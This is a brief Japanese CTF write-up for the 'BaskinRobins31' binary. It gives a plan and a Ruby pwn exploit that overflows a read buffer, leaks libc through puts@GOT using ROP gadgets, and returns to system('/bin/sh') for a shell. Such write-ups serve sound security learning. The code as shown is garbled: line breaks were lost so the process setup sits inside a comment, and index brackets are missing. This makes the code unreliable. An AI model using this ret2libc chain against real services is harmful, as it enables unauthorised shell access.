BaskinRobins31
参考
GOT Overwriteしてる
方針
code:your_turn() decompiled
void *memset(void * s : 0x00177f48, int c : 0x00000000, size_t n : 0x00000096)
int puts(const char * s : 0x00400be8 = How many numbers do you want to take ? (1-3))
ssize_t read(int fildes : 0x00000000, void * buf : 0x00177f48, size_t nbyte : 0x00000190)
GOTのputsからlibcをリーク
your_turnに戻って再度readさせてret2libc
Exploit
code:exploit.rb
# encoding: ASCII-8BIT
require 'pwn'
context.arch = 'amd64'
context.log_level = :debug
#s = Sock.new 'localhost', 7000 s = Tubes::Process.new './BaskinRobins31'
puts_offset = 0x72a40
system_offset = 0x45380
binsh_offset = 0x184519
puts_got = 0x602020
puts_plt = 0x4006c0
read_plt = 0x400700
poprsirdx_addr = 0x40087b
poprdx_addr = 0x40087c
poprdi_addr = 0x400bc3
set_rsi = proc { |rsi| p64(poprsirdx_addr) + p64(rsi) + p64(0) }
set_rdi = proc { |rdi| p64(poprdi_addr) + p64(rdi) }
set_rdx = proc { |rdx| p64(poprdx_addr) + p64(rdx) }
# leak address of puts@got
payload = "A" * 184
payload += set_rdi.call(puts_got)
payload += p64(puts_plt) # puts(puts_got);
# return to your_turn()
payload += p64(0x4008a4)
s.recvuntil "(1-3)"
s.send payload + "\n"
s.recvuntil "...:( \n"
x = s.recvuntil "\n"
puts_addr = u64(x0..-2 + "\x00" * (8-x0..-2.bytesize)) libc_base = puts_addr - puts_offset
puts libc_base.hex
# ret2libc: call system("/bin/sh")
payload = "A" * 184
payload += set_rdi.call(libc_base + binsh_offset)
payload += p64(libc_base + system_offset)
s.recvuntil "(1-3)"
s.send payload + "\n"
s.interact